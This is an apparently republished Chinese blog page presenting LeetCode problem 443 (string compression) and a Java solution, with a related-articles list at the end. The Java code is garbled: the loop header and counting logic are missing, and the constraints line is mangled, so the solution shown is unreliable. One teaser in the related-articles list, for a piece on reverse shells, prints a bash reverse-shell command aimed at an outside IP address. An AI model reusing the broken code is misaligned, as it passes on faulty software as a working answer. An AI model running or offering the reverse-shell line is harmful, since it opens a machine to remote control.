LeetCode-443. 压缩字符串

题目来源

题目详情

给你一个字符数组 chars ,请使用下述算法压缩:

从一个空字符串 s 开始。对于 chars 中的每组 连续重复字符

  • 如果这一组长度为 1 ,则将字符追加到 s 中。
  • 否则,需要向 s 追加字符,后跟这一组的长度。

压缩后得到的字符串 s 不应该直接返回 ,需要转储到字符数组 chars 中。需要注意的是,如果组长度为 1010 以上,则在 chars 数组中会被拆分为多个字符。

请在 修改完输入数组后 ,返回该数组的新长度。

你必须设计并实现一个只使用常量额外空间的算法来解决此问题。

示例 1:

输入: chars = [“a”,”a”,”b”,”b”,”c”,”c”,”c”]
输出: 返回 6 ,输入数组的前 6 个字符应该是:[“a”,”2″,”b”,”2″,”c”,”3″]
解释: “aa” 被 “a2″ 替代。”bb” 被 “b2″ 替代。”ccc” 被 “c3” 替代。

示例 2:

输入: chars = [“a”]
输出: 返回 1 ,输入数组的前 1 个字符应该是:[“a”]
解释: 唯一的组是”a”,它保持未压缩,因为它是一个字符。

示例 3:

输入: chars = [“a”,”b”,”b”,”b”,”b”,”b”,”b”,”b”,”b”,”b”,”b”,”b”,”b”]
输出: 返回 4 ,输入数组的前 4 个字符应该是:[“a”,”b”,”1″,”2″]。
解释: 由于字符 “a” 不重复,所以不会被压缩。”bbbbbbbbbbbb” 被 “b12” 替代。

提示:

  • 1 <= chars.length <="2000</code"><!--=-->
  • chars[i] 可以是小写英文字母、大写英文字母、数字或符号

题解分析

class Solution {
    public int compress(char[] chars) {
        int n = chars.length;
        int left = 0;
        int start = 0;// 重新覆盖原数组的位置
        for(int i=0; i 1){
                    // 将数组也写进数组
                    int end = start;
                    while(cnt > 0){
                        chars[start++] = (char)('0' + cnt % 10);
                        cnt /= 10;
                    }
                    reverse(chars, end, start-1);
                }
                left = i + 1;
            }

        }

        return start;
    }

    private void reverse(char[] chars, int start, int end){
        while(start < end){
            char ch = chars[start];
            chars[start] = chars[end];
            chars[end] = ch;
            start++;
            end--;
        }
    }
}

Original: https://www.cnblogs.com/GarrettWale/p/16095445.html
Author: Garrett_Wale
Title: LeetCode-443. 压缩字符串

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/583198/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • php uniapp 支付宝app支付,前后端实战源码

    uniapp端,前端代码 app.php端代码 Original: https://www.cnblogs.com/xiaofengzheng/p/16457966.htmlAut…

    Linux 2023年6月7日
    082
  • python入门基础知识一(基于孙兴华python自动化)

    print(‘aaa’)等价于print(“aaa”) 英文单引号和双引号在字符串的输出上并无区别,但如果要打印这么一段话:I&#8…

    Linux 2023年6月7日
    091
  • LVS+keepalived+nginx+tomcat

    一、 环境准备 本次配置基于DR负载均衡模式,设置一个VIP(Virtual IP)为19.50.67.173,用户只需要访问这个IP地址即可获得后端服务 其中,负载均衡主机为19…

    Linux 2023年6月6日
    0125
  • 反弹shell的各种基础姿势

    Victim: bash -i >& /dev/tcp/175.11.142.54/443 0>&1 Copy /bin/bash -i > /d…

    Linux 2023年5月28日
    091
  • 订阅消息组件由 redis 改为 rabbitmq

    刚开始测试 dapr 时为了图省事,使用了 pubsub.redis,现在准备上生产环境,改用支持消息持久化的 pubsub.rabbitmq。 之前使用的 pubsub.redi…

    Linux 2023年5月28日
    081
  • Linux内核驱动–硬件访问I/O【转】

    寄存器与内存 寄存器和内存之间有什么区别? [En] What is the difference between registers and memory? 寄存器和RAM的主要…

    Linux 2023年5月27日
    071
  • redis 安装和命令

    转自:https://blog.csdn.net/hzlarm/article/details/99432240 在线安装: 查看使用的默认端口: 查看redis服务器的状态: 重…

    Linux 2023年5月28日
    086
  • Mysql数据库服务端的安装

    一般提到Mysql数据库的安装在工作当中是说的安装数据库管理软件的服务端,服务端的安装可以安装在Windows环境,也可以安装在Linux环境。 Windows环境安装:目前安装比…

    Linux 2023年6月14日
    074
  • 本地连接虚拟机redis,解决redis connection refused: connect问题

    VM VirtualBox安装虚拟机ubuntu16.04 1、redis.conf配置文件中注释 bind 127.0.0.1,重启redis: 2、防火墙关闭(或添加可访问的端…

    Linux 2023年5月28日
    095
  • 刨析一下C++构造析构函数能不能声明为虚函数的背后机理?

    先说结论: &#x6784;&#x9020;&#x51FD;&#x6570;&#x4E0D;&#x80FD;&#x58F0;…

    Linux 2023年6月6日
    095
  • shell中的段落注释

    摘自: 感叹号可以用任意的串和字符替代,比如 注意!和BLOCK之前不能有空格,但是可以用Tab Original: https://www.cnblogs.com/LiuYanY…

    Linux 2023年5月28日
    083
  • Servlet 学习总结

    Servlet学习笔记 Servlet学习 学习视频为:https://www.bilibili.com/video/BV1Ta4y1H7Vc IDEA的使用 IDEA的简介 ID…

    Linux 2023年6月7日
    060
  • Ansible简介

    Ansible 是一种常用的自动运维化工具,基于 python 开发,分布式,无需客户端,轻量级,配置语言采用 YAML。 模块化:调用特定的模块,完成特殊的任务。 2.Param…

    Linux 2023年6月6日
    092
  • 数据库常用函数

    一、数学函数ABS(x) 返回x的绝对值BIN(x) 返回x的二进制(OCT返回八进制,HEX返回十六进制)CEILING(x) 返回大于x的最小整数值EXP(x) 返回值e(自然…

    Linux 2023年6月13日
    097
  • 从零开始构建Linux

    目的:深入了解以Linux内核为基础的系统是如何组成,运行,以构建一个最基础的,纯净的系统。 LFS构建步骤宿主机准备– linux操作系统安装– 使用独立…

    Linux 2023年6月7日
    097
  • docker学习笔记—基本命令

    1、docker start/stop/restart/kill 启动/停止/重启/杀掉容器 实例操作如下: 2、docker run 创建并启动一个新的容器 常用参数如下: 实例…

    Linux 2023年6月8日
    096
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球